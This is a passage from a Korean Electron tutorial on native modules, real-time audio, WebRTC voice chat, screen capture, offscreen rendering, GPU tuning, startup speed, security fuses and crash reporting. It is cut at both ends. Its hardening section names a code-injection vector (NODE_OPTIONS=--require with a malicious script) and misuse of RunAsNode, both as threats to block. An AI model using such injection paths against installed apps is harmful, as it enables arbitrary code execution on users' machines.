let native: NativeApi | null = null;
try {
native = require(nativePath);
} catch (e) {
log.error("네이티브 모듈 로드 실패", e);
dialog.showErrorBox(
"구성 요소를 불러오지 못했습니다",
"재설치해도 계속되면 로그를 보내 주세요.\n" + String(e)
);
}
/MT), 가장 낮은 지원 배포판에서 빌드하는 것이 정석입니다.
macOS 는 MACOSX_DEPLOYMENT_TARGET 을 낮게 잡아야 구형 OS 에서 실행됩니다.
오디오 파이프라인
음성 기능의 토대입니다. 실시간 오디오는 일반 JS 와 규칙이 다릅니다.
console.log·락 대기를 하면
그대로 뚝뚝 끊기는 소리(글리치)가 됩니다.
그래서 버퍼는 미리 할당하고, 통신은 락 없는 링 버퍼로 합니다.
AudioWorklet — 오디오 전용 스레드
// ❌ ScriptProcessorNode 는 폐기됐습니다 (메인 스레드에서 돌아 끊깁니다)
// ✅ AudioWorklet — 별도 오디오 스레드에서 실행
// processor.js — 오디오 스레드에서 도는 코드
class LevelProcessor extends AudioWorkletProcessor {
constructor() {
super();
// ★ 생성자에서 미리 할당 — process() 안에서는 할당 금지
this._sum = 0; this._count = 0;
}
process(inputs, outputs) {
const input = inputs[0][0]; // 첫 입력의 첫 채널
if (!input) return true;
let peak = 0;
for (let i = 0; i < input.length; i++) {
const a = Math.abs(input[i]);
if (a > peak) peak = a;
outputs[0][0][i] = input[i]; // 그대로 통과
}
// ★ 매 블록마다 postMessage 하지 말 것 — 초당 375회가 됩니다
if (++this._count % 16 === 0) this.port.postMessage(peak);
return true; // false 를 반환하면 노드가 정리됩니다
}
}
registerProcessor("level", LevelProcessor);
// 메인 스레드(렌더러)에서 연결
const ctx = new AudioContext({
sampleRate: 48000,
latencyHint: "interactive", // ★ 통화용 — 지연 최소
});
await ctx.audioWorklet.addModule("processor.js");
const src = ctx.createMediaStreamSource(micStream);
const level = new AudioWorkletNode(ctx, "level");
level.port.onmessage = (e) => setMeter(e.data);
src.connect(level).connect(ctx.destination);
디바이스 관리 — 실제로 까다로운 부분
// 목록 — label 을 보려면 먼저 권한을 받아야 합니다
const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
const devices = await navigator.mediaDevices.enumerateDevices();
const mics = devices.filter(d => d.kind === "audioinput");
const speakers = devices.filter(d => d.kind === "audiooutput");
// ★ 장치 교체(헤드셋 연결·해제)는 반드시 처리해야 합니다
navigator.mediaDevices.addEventListener("devicechange", async () => {
const list = await navigator.mediaDevices.enumerateDevices();
// 쓰던 장치가 사라졌으면 기본 장치로 되돌립니다
if (!list.some(d => d.deviceId === currentMicId)) {
await switchMic("default");
notify("마이크가 분리되어 기본 장치로 전환했습니다");
}
});
// 특정 장치 지정 — exact 를 쓰면 없을 때 실패합니다(폴백 필요)
const s = await navigator.mediaDevices.getUserMedia({
audio: {
deviceId: { exact: micId },
echoCancellation: true, // AEC
noiseSuppression: true, // 노이즈 억제
autoGainControl: true, // 자동 게인
channelCount: 1,
sampleRate: 48000,
},
});
// 출력 장치 변경 — HTMLMediaElement 에만 적용됩니다
await audioEl.setSinkId(speakerId);
// ★ AudioContext 자체의 출력 장치 지정은 지원이 제한적이므로,
// 재생은 <audio> 엘리먼트로 하고 setSinkId 를 쓰는 구성이 안전합니다
Info.plist 에 NSMicrophoneUsageDescription 을 넣지 않으면
권한 요청 없이 그냥 실패합니다.
systemPreferences.askForMediaAccess("microphone") 로 명시적으로 요청하고,
getMediaAccessStatus 로 상태를 확인해 거부 상태면 설정 화면으로 안내하세요.
음성 채팅 — Discord 수준
"그냥 WebRTC 쓰면 되는 것" 이 아닙니다. 품질을 만드는 요소를 하나씩 봅니다.
토폴로지 — 인원수가 구조를 정합니다
① P2P (메시) — 2~4명
각자가 모두에게 직접 전송
N명이면 각자 N-1개 업링크 → 5명만 돼도 한계
② SFU (선택적 전달) ★ 음성 채팅의 표준
각자 서버로 1개만 올림 → 서버가 나눠 줌
업링크 1개 · 다운링크 N-1개
서버는 디코딩하지 않음 → CPU 저렴
구현체: mediasoup · LiveKit · Janus · Pion
③ MCU (혼합)
서버가 전부 디코딩해 하나로 합쳐 전송
클라이언트 부담 최소 · 서버 CPU 매우 비쌈
→ 전화 접속·저사양 단말이 섞일 때만
Discord·Slack·Teams 전부 ② SFU 계열입니다
연결 · 코덱 설정
const pc = new RTCPeerConnection({
iceServers: [
{ urls: "stun:stun.l.google.com:19302" },
{ urls: "turn:turn.example.com:3478",
username: shortLivedUser, // ★ 단기 자격증명 (서버가 발급)
credential: shortLivedPass },
],
bundlePolicy: "max-bundle",
rtcpMuxPolicy: "require",
});
// 오디오 송신 파라미터 — 음성은 대역폭보다 안정성이 중요합니다
const sender = pc.addTrack(track, stream);
const params = sender.getParameters();
params.encodings = [{
maxBitrate: 64_000, // 음성 32~64kbps 면 충분
networkPriority: "high",
priority: "high",
}];
await sender.setParameters(params);
// Opus 세부 설정은 SDP 를 직접 손봅니다
function tuneOpus(sdp: string) {
return sdp.replace(
/a=fmtp:111 .*/,
"a=fmtp:111 minptime=10;useinbandfec=1;stereo=0;maxaveragebitrate=64000;usedtx=1"
);
// useinbandfec=1 → 패킷 손실 복구 (FEC)
// usedtx=1 → 무음 구간 전송 중단 (대역폭 절약)
// minptime=10 → 10ms 패킷 (지연 감소)
}
품질을 만드는 4가지 — 3A 와 지터버퍼
| 요소 | 없으면 생기는 일 | 해결 |
|---|---|---|
| AEC (음향 반향 제거) | 스피커 소리가 마이크로 되돌아가 상대가 자기 목소리를 다시 듣습니다 | echoCancellation: true · 헤드셋 미사용자에게 필수 |
| NS (노이즈 억제) | 키보드·팬·에어컨 소리가 그대로 전달 | 브라우저 기본 NS · 더 강하게는 RNNoise(WASM·네이티브) |
| AGC (자동 게인) | 사람마다 볼륨이 제각각 | autoGainControl: true |
| 지터 버퍼 | 패킷 도착 간격이 흔들려 소리가 튑니다 | WebRTC 내장(적응형) — 직접 만들면 여기서 대부분 실패합니다 |
VAD — 말할 때만 보내기
// 음성 활동 감지 — "말하는 중" 표시와 대역폭 절약에 씁니다
class VAD extends AudioWorkletProcessor {
constructor() {
super();
this.speaking = false;
this.hold = 0; // ★ 히스테리시스 (깜빡임 방지)
}
process(inputs) {
const x = inputs[0][0];
if (!x) return true;
let energy = 0;
for (let i = 0; i < x.length; i++) energy += x[i] * x[i];
const rms = Math.sqrt(energy / x.length);
const db = 20 * Math.log10(rms + 1e-9);
// 켜는 문턱과 끄는 문턱을 다르게 (-45 / -50) — 말하는 중이면 -50 까지는 "아직 말함"
const loud = this.speaking ? db > -50 : db > -45;
// process() 는 128프레임마다 = 48kHz 에서 2.67ms → 260블록 ≈ 0.7초 유지
if (loud) { this.hold = 260; }
else if (this.hold > 0) this.hold--;
const now = this.hold > 0;
if (now !== this.speaking) {
this.speaking = now;
this.port.postMessage({ speaking: now });
}
return true;
}
}
registerProcessor("vad", VAD);
품질 측정 — 감이 아니라 수치로
// getStats() — 통화 품질의 근거 데이터
setInterval(async () => {
const stats = await pc.getStats();
stats.forEach((r) => {
if (r.type === "inbound-rtp" && r.kind === "audio") {
const lossRate = r.packetsLost / (r.packetsReceived + r.packetsLost);
metrics.record({
loss: lossRate, // ★ 3% 넘으면 체감됩니다
jitter: r.jitter, // 0.03(30ms) 이상이면 불안정
jitterBufferDelay: r.jitterBufferDelay / r.jitterBufferEmittedCount,
concealed: r.concealedSamples, // 손실을 메운 샘플 수
});
}
if (r.type === "candidate-pair" && r.state === "succeeded") {
metrics.record({ rtt: r.currentRoundTripTime }); // 0.15초 넘으면 대화가 겹칩니다
}
if (r.type === "remote-inbound-rtp") {
metrics.record({ remoteLoss: r.fractionLost }); // 상대가 겪는 손실
}
});
}, 2000);
// 나쁜 회선에 적응 — 비트레이트를 낮추고 사용자에게 알립니다
if (lossRate > 0.05) {
await setBitrate(sender, 24_000);
ui.showWarning("네트워크가 불안정합니다");
}
시스템 오디오 캡처
"게임 소리까지 같이 방송하기" — 웹 표준만으로는 안 되는 대표적 기능입니다.
| OS | 방법 | 제약 |
|---|---|---|
| Windows | getDisplayMedia({audio:true}) 로 시스템 오디오 캡처 가능 |
화면 공유와 함께여야 함 · 더 세밀하게는 WASAPI 루프백(네이티브) |
| macOS | OS 차원의 루프백 장치가 없습니다 | 가상 오디오 드라이버(BlackHole 등) 설치 또는 ScreenCaptureKit(macOS 13+) 네이티브 연동 |
| Linux | PulseAudio·PipeWire 의 모니터 소스 | 배포판·오디오 서버 구성에 따라 편차가 큽니다 |
Windows — 화면 공유에 소리 얹기
// 메인 — Electron 27+ 는 화면 공유 요청을 이 핸들러로 받습니다
import { session, desktopCapturer } from "electron";
session.defaultSession.setDisplayMediaRequestHandler(
async (request, callback) => {
const sources = await desktopCapturer.getSources({
types: ["screen", "window"],
thumbnailSize: { width: 320, height: 180 },
});
// ★ 반드시 우리 UI 로 사용자에게 고르게 하세요 (무단 캡처 방지)
const chosen = await showPickerWindow(sources);
if (!chosen) return callback(null);
callback({
video: chosen,
audio: "loopback", // ★ Windows 시스템 오디오
// "loopbackWithMute" — 시스템 스피커는 끄고 캡처만
});
},
{ useSystemPicker: true } // OS 기본 선택 UI 사용 (지원 환경에서)
);
// 렌더러 — 웹 표준 그대로 부릅니다
const stream = await navigator.mediaDevices.getDisplayMedia({
video: { frameRate: 30 },
audio: true,
});
// stream 에 화면 트랙 + 시스템 오디오 트랙이 함께 들어옵니다
macOS — 네이티브가 필요한 지점
선택지
① 가상 오디오 드라이버 안내 (BlackHole·Loopback)
· 구현 비용 0, 사용자 설치 부담 큼
· 사내 도구라면 현실적인 선택
② ScreenCaptureKit 네이티브 애드온 (macOS 13+)
· Apple 공식 API — 시스템 오디오 + 화면을 함께
· 앱 단위 오디오 분리 캡처까지 가능
· Swift/ObjC++ 로 애드온 작성 필요 (v04)
③ Core Audio 탭(tap) API (macOS 14.4+)
· 프로세스별 오디오 탭 — 가장 세밀
· 최신 OS 에서만 동작
// 애드온에서 캡처한 PCM 을 JS 로 넘기는 경로
// ★ 매 버퍼마다 ThreadSafeFunction 을 부르면 오버헤드가 큽니다
// → SharedArrayBuffer 링 버퍼에 쓰고, 인덱스만 Atomics 로 갱신 (v03)
void OnAudioBuffer(const float* pcm, size_t frames) {
size_t w = write_index.load(std::memory_order_relaxed);
for (size_t i = 0; i < frames; ++i)
ring[(w + i) % RING_SIZE] = pcm[i];
write_index.store(w + frames, std::memory_order_release);
// JS 쪽 AudioWorklet 이 read_index 를 따라가며 소비합니다
}
systemPreferences.getMediaAccessStatus("screen") 으로 확인합니다.
권한은 앱 서명 단위로 기억되므로, 서명 없이 개발하면
빌드할 때마다 권한이 초기화되어 디버깅이 매우 혼란스러워집니다 —
개발 단계에서도 서명된 빌드로 테스트하세요.
화면 공유 · 녹화
캡처 자체보다 인코딩 부하와 권한이 실제 과제입니다.
소스 선택 UI 만들기
// 메인 — 화면·창 목록과 썸네일
ipcMain.handle("capture:sources", async () => {
const sources = await desktopCapturer.getSources({
types: ["screen", "window"],
thumbnailSize: { width: 320, height: 180 },
fetchWindowIcons: true,
});
return sources.map(s => ({
id: s.id,
name: s.name,
thumbnail: s.thumbnail.toDataURL(), // ★ 큰 이미지는 dataURL 로 넘기면 무겁습니다
appIcon: s.appIcon?.toDataURL() ?? null,
display_id: s.display_id,
}));
});
// 렌더러 — 선택한 소스로 스트림 얻기
const stream = await navigator.mediaDevices.getUserMedia({
audio: false,
video: {
// @ts-expect-error Electron 전용 제약
mandatory: {
chromeMediaSource: "desktop",
chromeMediaSourceId: sourceId,
maxWidth: 1920, maxHeight: 1080, maxFrameRate: 30,
},
},
});
// 공유 중임을 항상 눈에 보이게 — 신뢰의 문제입니다
showSharingIndicator();
stream.getVideoTracks()[0].addEventListener("ended", stopSharing);
desktopCapturer 는 메인 프로세스 권한이므로 기술적으로는 조용히 캡처가 가능합니다.
선택 UI · 공유 중 표시 · 종료 버튼을 반드시 제공하고,
보안 감사에서 지적받지 않도록 캡처 시작·종료를 로그로 남기세요.
녹화 · 인코딩
// 간단한 녹화 — MediaRecorder (하드웨어 가속 사용)
const rec = new MediaRecorder(stream, {
mimeType: "video/webm;codecs=vp9,opus",
videoBitsPerSecond: 4_000_000,
});
const chunks: Blob[] = [];
rec.ondataavailable = (e) => { if (e.data.size) chunks.push(e.data); };
rec.onstop = async () => {
const blob = new Blob(chunks, { type: "video/webm" });
// 렌더러(nodeIntegration:false)에는 Buffer 가 없습니다 — Uint8Array 로 넘기고 메인에서 Buffer 로
const buf = new Uint8Array(await blob.arrayBuffer());
await window.api.saveRecording(buf); // ★ 큰 파일은 스트리밍 저장이 낫습니다
};
rec.start(1000); // 1초마다 청크
// 긴 녹화는 메모리에 쌓지 말고 바로 디스크로 흘려보냅니다
rec.ondataavailable = async (e) => {
const buf = new Uint8Array(await e.data.arrayBuffer());
window.api.appendRecording(buf); // 메인에서 createWriteStream 에 append
};
// 메인
const out = fs.createWriteStream(outPath);
ipcMain.on("rec:append", (_e, chunk: Uint8Array) => out.write(Buffer.from(chunk)));
부하를 줄이는 실전 선택
- 프레임률을 낮추세요 — 문서·코드 공유는 5~15fps 로 충분합니다. 60fps 는 CPU 를 몇 배로 씁니다
- 해상도 상한을 두세요 — 4K 화면을 그대로 인코딩하면 어떤 CPU 도 버겁습니다
- 하드웨어 인코더가 실제로 쓰이는지 확인 —
chrome://gpu의 Video Encode 항목(v13) - 장시간 고품질 녹화는 ffmpeg 를 child_process 로 돌리는 편이 안정적입니다
contentHint 를 지정하세요 —
track.contentHint = "detail"(텍스트·코드, 선명도 우선) ·
"motion"(영상·게임, 프레임률 우선).
한 줄로 체감이 크게 달라집니다.
OSR — 오프스크린 렌더링
웹 화면을 창이 아니라 픽셀로 받습니다. 게임 오버레이·가상 배경·서버 렌더링의 기반입니다.
무엇에 쓰나
OSR 이 필요한 상황
① 게임 오버레이
게임의 DirectX/OpenGL 화면 위에 웹 UI 를 합성
(Discord 인게임 오버레이가 이 방식)
② 다른 렌더러에 웹을 얹기
Unity·Unreal·네이티브 앱 안에 웹 UI 를 텍스처로
③ 서버 사이드 렌더링·썸네일 생성
화면 없이 웹을 그려 이미지로 저장
④ 커스텀 합성
웹 화면 + 비디오 + 3D 를 한 캔버스에서 합성
※ 단순히 "안 보이는 창"이 필요한 것이라면
win.hide() 로 충분합니다 — OSR 은 비용이 큽니다
// 기본형 — CPU 로 비트맵 받기
const win = new BrowserWindow({
width: 1280, height: 720,
show: false,
webPreferences: {
offscreen: true, // ★ 오프스크린 모드
nodeIntegration: false,
contextIsolation: true,
},
});
win.webContents.setFrameRate(30); // ★ 반드시 제한하세요 (기본은 60)
win.webContents.on("paint", (event, dirty, image) => {
// image 는 NativeImage — BGRA 비트맵
const buf = image.getBitmap(); // Buffer (width*height*4)
pushToEncoder(buf, image.getSize());
});
win.loadURL("https://example.com/overlay");
공유 텍스처 — GPU 에서 GPU 로
// Electron 30+ — GPU 텍스처 핸들을 그대로 받습니다 (복사 없음)
const win = new BrowserWindow({
webPreferences: {
offscreen: { useSharedTexture: true }, // ★ 객체 형태로 지정
},
});
win.webContents.on("paint", (event, dirty, image) => {
const tex = event.texture;
if (!tex) return; // 폴백: image 사용
// tex.textureInfo 에 OS별 핸들이 들어 있습니다
// Windows : sharedTextureHandle (D3D11 공유 핸들)
// macOS : ioSurface (IOSurfaceRef)
// Linux : planes (dma-buf fd)
nativeCompositor.submit(tex.textureInfo); // ★ 네이티브 애드온으로 전달 (v04)
tex.release(); // ★ 반드시 해제 — 안 하면 GPU 메모리 고갈
});
성능 차이 (1080p 기준 · 대략적인 감각)
일반 OSR GPU → 시스템 메모리 복사 → JS Buffer
30fps 에서도 CPU 한 코어를 상당히 소모
공유 텍스처 GPU 메모리에 그대로 둔 채 핸들만 전달
복사 0 · 60fps 도 현실적
→ 게임 오버레이처럼 매 프레임 합성해야 하는 용도는
공유 텍스처가 사실상 필수입니다
release() 를 빠뜨리면 수 초 만에 GPU 메모리가 고갈되어
전체 시스템이 느려집니다 — try/finally 로 감싸세요.
입력 주입 — 오버레이는 클릭도 받아야 합니다
// OSR 창은 실제 창이 아니므로 마우스·키보드를 직접 넣어 줘야 합니다
win.webContents.sendInputEvent({
type: "mouseMove", x: 320, y: 180,
});
win.webContents.sendInputEvent({
type: "mouseDown", x: 320, y: 180, button: "left", clickCount: 1,
});
win.webContents.sendInputEvent({
type: "mouseUp", x: 320, y: 180, button: "left", clickCount: 1,
});
win.webContents.sendInputEvent({
type: "keyDown", keyCode: "Enter",
});
// ★ 게임 오버레이라면 "오버레이가 입력을 먹을 때"와
// "게임으로 넘길 때"를 구분해야 합니다 —
// 보통 UI 영역의 히트 테스트 결과로 결정합니다
GPU · 그래픽
"어떤 PC 에서만 화면이 깨진다"는 문의의 대부분이 GPU 문제입니다.
먼저 확인 — 무엇이 가속되고 있나
// 앱 안에서 GPU 상태 확인
app.whenReady().then(async () => {
const info = await app.getGPUInfo("complete");
log.info("GPU", info);
const status = app.getGPUFeatureStatus();
log.info(status);
// { gpu_compositing: "enabled",
// video_decode: "enabled",
// webgl: "enabled",
// vulkan: "disabled_off", ... }
});
// GPU 프로세스가 죽었을 때 — 흔합니다(드라이버 버그)
app.on("child-process-gone", (_e, details) => {
if (details.type === "GPU") {
log.error("GPU 프로세스 종료", details.reason);
metrics.increment("gpu_crash");
// 반복되면 소프트웨어 렌더링으로 폴백 (아래)
}
});
디버깅 도구
chrome://gpu — DevTools 주소창에 입력하면 그대로 열립니다
어떤 기능이 하드웨어 가속인지 전부 나옵니다
chrome://media-internals — 코덱·디코더 선택 확인
chrome://webrtc-internals — 통화 품질 실시간 그래프 (v09)
스위치 — 신중하게 쓰기
// ★ app.whenReady() 이전에 설정해야 적용됩니다
import { app } from "electron";
// 문제가 있는 환경에서만 폴백 (설정으로 켜고 끄게 하세요)
if (userPrefs.disableGpu) {
app.disableHardwareAcceleration();
}
// 하드웨어 비디오 디코딩 명시적 활성화
app.commandLine.appendSwitch(
"enable-features",
"PlatformHEVCDecoderSupport,VaapiVideoDecodeLinuxGL"
);
// 배터리 절약보다 성능이 중요할 때 (백그라운드 타이머 감속 해제)
app.commandLine.appendSwitch("disable-background-timer-throttling");
// ⚠️ 아래는 보안·안정성을 해칩니다 — 근거 없이 복사하지 마세요
// app.commandLine.appendSwitch("no-sandbox"); ❌
// app.commandLine.appendSwitch("ignore-gpu-blocklist"); ⚠️ 크래시 유발 가능
렌더링이 끊길 때 점검 순서
- ① 레이아웃 스래싱 — DOM 읽기·쓰기를 번갈아 하고 있지 않은지 (🧬 전문가 탭)
- ② 합성 레이어 폭발 —
will-change·transform남용으로 GPU 메모리 초과 - ③ 큰 이미지 — 4000px 이미지를 CSS 로 축소해 표시하면 매번 리샘플링됩니다
- ④ 백그라운드 창 —
setBackgroundThrottling이 의도대로인지 - ⑤ GPU 가속 비활성화 — 위
getGPUFeatureStatus로 확인
시작 시간 · 극한 성능
VS Code 가 1초 안에 뜨는 것은 우연이 아닙니다. 측정하고 깎는 방법입니다.
먼저 분해해서 재기
// 구간별 시간을 실제로 찍어 봅니다 — 감으로 최적화하지 마세요
const t0 = Date.now();
const mark = (label: string) => log.info(`[boot] ${label} +${Date.now() - t0}ms`);
app.whenReady().then(() => {
mark("app-ready"); // Electron 런타임 초기화까지
createWindow();
mark("window-created");
});
mainWindow.webContents.once("did-finish-load", () => mark("renderer-loaded"));
mainWindow.once("ready-to-show", () => mark("ready-to-show"));
// 렌더러 쪽 — 실제 사용자가 느끼는 시점
// performance.mark("app-interactive") 후
// performance.measure 로 구간을 남기고 DevTools Performance 에서 확인
전형적인 시간 분포와 대응
Electron 런타임 초기화 200~400ms ← 우리가 못 줄임
메인 스크립트 평가 50~500ms ★ require 를 줄이면 크게 감소
창 생성 · 첫 페인트 100~300ms ★ show:false + ready-to-show
렌더러 번들 파싱·실행 100~1000ms ★ 코드 분할·지연 로딩
초기 데이터 로드 0~수초 ★ 창을 띄운 뒤로 미루기
가장 효과가 큰 세 가지
// ① 지연 require — 메인 시작 스크립트에서 무거운 것을 걷어냅니다
// ❌ 최상단에서 전부 불러오기
import Database from "better-sqlite3";
import { autoUpdater } from "electron-updater";
// ✅ 실제로 필요할 때 불러오기
let db: Database.Database | null = null;
function getDb() {
if (!db) {
const Database = require("better-sqlite3"); // 이 시점에 로드
db = new Database(dbPath);
}
return db;
}
// ② 창을 먼저 띄우고 나머지는 뒤로
app.whenReady().then(() => {
createWindow(); // 최우선
setTimeout(() => {
require("electron-updater").autoUpdater.checkForUpdates();
warmupDatabase();
}, 3000); // 사용자가 화면을 보는 동안
});
// ③ V8 코드 캐시 — 파싱·컴파일 결과를 저장해 재사용
// 렌더러 번들이 클수록 효과가 큽니다 (수백 ms 절감 사례가 흔합니다)
import { app } from "electron";
app.setPath("sessionData", path.join(app.getPath("userData"), "session"));
// Chromium 이 이 경로에 코드 캐시를 자동 저장합니다
// 더 나아가려면 — 빌드 시점에 스냅샷을 굽습니다
// npx electron-mksnapshot (@electron/mksnapshot)
// 자주 쓰는 모듈을 스냅샷에 넣어 두면 시작 시 파싱이 사라집니다
// VS Code 가 실제로 쓰는 기법이지만 빌드 파이프라인이 복잡해집니다
보안 강화 — Fuses · 무결성
기본 설정(🖥️ Electron e04) 위에, 배포된 앱이 변조되는 것을 막는 층입니다.
Fuses — 런타임 기능을 아예 잠그기
npm i -D @electron/fuses — 빌드된 바이너리의 플래그 비트를 직접 꺼 버립니다import { flipFuses, FuseVersion, FuseV1Options } from "@electron/fuses";
await flipFuses(appBinaryPath, {
version: FuseVersion.V1,
// ★ 공격자가 우리 앱으로 임의 코드를 실행하는 통로를 막습니다
[FuseV1Options.RunAsNode]: false,
// ELECTRON_RUN_AS_NODE=1 로 실행해 Node 로 쓰는 것을 차단
[FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
// NODE_OPTIONS=--require=악성.js 주입 차단
[FuseV1Options.EnableNodeCliInspectArguments]: false,
// --inspect 로 디버거를 붙여 메모리를 들여다보는 것 차단
[FuseV1Options.EnableCookieEncryption]: true,
// 쿠키를 OS 키로 암호화
[FuseV1Options.OnlyLoadAppFromAsar]: true,
// ★ asar 밖의 파일을 앱 코드로 로드하지 않음
[FuseV1Options.EnableEmbeddedAsarIntegrityValidation]: true,
// ★ asar 무결성 검증 (변조 시 실행 거부)
});
RunAsNode 가 켜져 있으면 공격자가 이미 설치된 서명된 우리 앱을
임의 스크립트 실행기로 악용할 수 있습니다 —
백신·EDR 이 서명된 앱을 신뢰하기 때문에 탐지도 어렵습니다.
Node 로 실행할 필요가 없다면 반드시 끄세요.
ASAR 무결성 · 그 밖의 층
# electron-builder — 무결성 검증 활성화
# 실행 파일에 asar 해시를 심고, 시작 시 대조합니다
# (macOS · Windows 지원 · 코드 서명과 함께여야 의미가 있습니다)
electronFuses:
runAsNode: false
enableNodeOptionsEnvironmentVariable: false
enableNodeCliInspectArguments: false
onlyLoadAppFromAsar: true
enableEmbeddedAsarIntegrityValidation: true
enableCookieEncryption: true
// CSP — 렌더러에서 실행 가능한 것을 좁힙니다
session.defaultSession.webRequest.onHeadersReceived((details, cb) => {
cb({
responseHeaders: {
...details.responseHeaders,
"Content-Security-Policy": [
"default-src 'self'; " +
"script-src 'self'; " + // ★ unsafe-inline 금지
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"connect-src 'self' https://api.example.com wss://rtc.example.com",
],
},
});
});
// 예상 밖 이동·창 열기 차단
app.on("web-contents-created", (_e, contents) => {
contents.on("will-navigate", (e, url) => {
if (new URL(url).origin !== ALLOWED_ORIGIN) e.preventDefault();
});
contents.setWindowOpenHandler(({ url }) => {
if (isSafeExternal(url)) shell.openExternal(url);
return { action: "deny" };
});
contents.session.setPermissionRequestHandler((_wc, permission, cb) => {
// ★ 필요한 권한만 허용 (기본 거부)
cb(["media", "clipboard-sanitized-write"].includes(permission));
});
});
bytenode) 모두 시간을 버는 수단일 뿐
결정적인 보호가 아닙니다.
정말 지켜야 할 알고리즘·키는 서버에 두고 API 로 호출하세요.
클라이언트에 넣은 비밀은 언젠가 반드시 노출된다고 가정하고 설계하는 것이 맞습니다.
크래시 · 관측 · 대규모 배포
사용자 수가 늘면 재현되지 않는 버그가 일상이 됩니다. 데이터로 잡아야 합니다.
네이티브 크래시까지 수집
// JS 예외는 Sentry 로, C++ 크래시는 minidump 로 — 둘 다 필요합니다
import { crashReporter, app } from "electron";
crashReporter.start({
productName: "MyApp",
companyName: "MyCompany",
submitURL: "https://crash.example.com/submit",
uploadToServer: true,
compress: true,
extra: { // ★ 원인 좁히기용 컨텍스트
version: app.getVersion(),
channel: releaseChannel,
},
});
// 렌더러가 죽었을 때
app.on("render-process-gone", (_e, wc, details) => {
log.error("렌더러 종료", details.reason, details.exitCode);
// reason: crashed · oom · killed · launch-failed ...
if (details.reason === "oom") notifyUser("메모리가 부족해 창을 다시 엽니다");
recreateWindow(wc);
});
// 자식 프로세스(GPU·유틸리티)가 죽었을 때
app.on("child-process-gone", (_e, d) => {
metrics.increment(`child_gone.${d.type}.${d.reason}`);
});
crashReporter 의 minidump 와 빌드 시 생성한 심볼 파일을 함께 보관해야
나중에 스택을 복원할 수 있습니다 —
심볼을 버리면 덤프는 쓸모없는 바이너리가 됩니다.
채널 · 점진 배포
# 채널을 나눠 위험을 줄입니다
publish:
provider: generic
url: https://updates.example.com/${channel}/
channel: stable # stable · beta · alpha
# 사내 정책 배포(Windows) — 자동 업데이트를 끄고 IT 가 관리
# MSI 패키징 + 그룹 정책으로 배포하는 조직이 많습니다
// 점진 배포 — 서버가 "이 사용자에게 새 버전을 줄지" 결정합니다
autoUpdater.channel = userPrefs.channel ?? "stable";
// 서버에서 롤아웃 비율을 확인 (문제 발견 시 즉시 중단할 수 있게)
const { rollout, minVersion } = await fetchReleasePolicy();
if (hashUserId(userId) % 100 < rollout) {
autoUpdater.checkForUpdates();
}
// ★ 강제 업데이트 — 보안 패치나 API 비호환 시
if (semver.lt(app.getVersion(), minVersion)) {
showBlockingUpdateScreen(); // 사용을 막고 업데이트만 허용
}
운영 지표 — 이 정도는 보세요
- 시작 시간 p50·p95 — 회귀를 가장 먼저 알려 주는 지표 (v14)
- 크래시율 (세션 대비) — 프로세스 종류별로 분리 (렌더러·GPU·유틸리티)
- 버전 분포 — 업데이트가 실제로 도달하는지. 구버전이 오래 남으면 업데이트 경로에 문제가 있습니다
- 메모리 p95 — 누수는 평균이 아니라 꼬리에서 드러납니다
- 음성 앱이라면 손실률·지터·RTT 분포 (v09)
전문가 영역 체크리스트
네이티브를 도입하기 전에
- ☐ 정말 병목인지 측정했는가 — 대부분은 알고리즘·번들 문제입니다
- ☐ WASM 으로 충분하지 않은가 (v06) — 배포가 압도적으로 쉽습니다
- ☐ N-API 를 쓰는가 — Electron 업그레이드마다 재빌드를 피할 유일한 길 (v04)
- ☐ 플랫폼별 CI 매트릭스가 준비됐는가 (v05·v07)
- ☐ 로드 실패 시 앱이 죽지 않고 안내하는가 (v07)
미디어 기능을 넣기 전에
- ☐ OS별 권한 요청·거부 상태 처리가 있는가 (v08·v10)
- ☐ 장치 교체(핫플러그) 를 처리하는가 — 실제 사용 중 가장 흔한 사고
- ☐ 공유 중 표시와 종료 수단이 항상 보이는가 (v11)
- ☐ 품질을 수치로 관측하는가 — 손실·지터·RTT (v09)
- ☐ OSR 이라면 텍스처 해제를 빠뜨리지 않았는가 (v12)
- ☐ Chromium 업그레이드 시 미디어 회귀 테스트 계획이 있는가
스레드 하나로
10만 명을
받는 법
Node 는 기다리는 일에 최적화되어 있어 적은 자원으로 많은 연결을 버팁니다. 대신 이벤트 루프가 막히는 순간 전부 멈춥니다. 이 탭은 대기업 백엔드 면접에서 실제로 묻는 주제들을 순서대로 다룹니다. 여기까지 마치면 수만 RPS 서버의 병목을 찾아 캐시·큐·확장으로 풀고, 그 선택의 근거를 설명할 수 있습니다.
Node 로 트래픽 받기
“싱글 스레드라 느리다”는 오해부터 풀고 시작합니다.
왜 스레드 하나로 버티나
[스레드 기반 서버] 요청 1개 = 스레드 1개
요청 10,000개 → 스레드 10,000개
→ 스레드당 1MB 스택 = 10GB
→ 컨텍스트 스위칭 비용 폭발
[Node] 요청 10,000개 = 대기 중인 콜백 10,000개
→ 실제로 CPU 를 쓰는 건 "응답이 도착한 것"뿐
→ 메모리는 수백 MB, 스위칭 없음
핵심: 웹 서버 작업의 대부분은 "기다리는 시간"입니다.
DB 응답 50ms 동안 CPU 는 놀고 있습니다.
Node 는 그 시간에 다른 요청을 처리합니다.
용량 산정 — 면접에서 시키는 계산
1) DAU × 1인당 요청 수 = 하루 총 요청
2) ÷ 86,400 = 평균 RPS
3) × 피크 배수(3~10) = 피크 RPS
4) 리틀의 법칙: 동시 처리 수 = RPS × 평균 처리시간(초)
5) ÷ 서버 1대 처리량 = 필요 대수
예) DAU 100만 · 1인 20요청 · 피크 5배
= 2,000만 ÷ 86,400 × 5 ≈ 1,160 RPS
평균 응답 100ms → 동시 116건
→ 커넥션 풀·외부 API 동시 호출 수를 이 기준으로 설계
Node 서버 1대의 감각
| 작업 성격 | 대략의 처리량 (2vCPU) |
|---|---|
| 메모리 캐시 응답 | 10,000+ RPS |
| Redis 조회 1회 | 수천 RPS |
| DB 조회 1~2회 | 500 ~ 2,000 RPS |
| DB 쓰기 + 트랜잭션 | 수백 RPS |
| JSON 1MB 파싱 | 초당 수십 건 — CPU 바운드 ★ |
| 이미지 리사이즈 | 워커 필수 |
병목 지도 · 이벤트 루프 지연
Node 가 느릴 때 볼 곳은 정해져 있습니다.
이 순서로 확인하세요
// 이벤트 루프 지연 측정 — 운영에 반드시 넣으세요
import { monitorEventLoopDelay } from "node:perf_hooks";
const h = monitorEventLoopDelay({ resolution: 10 });
h.enable();
setInterval(() => {
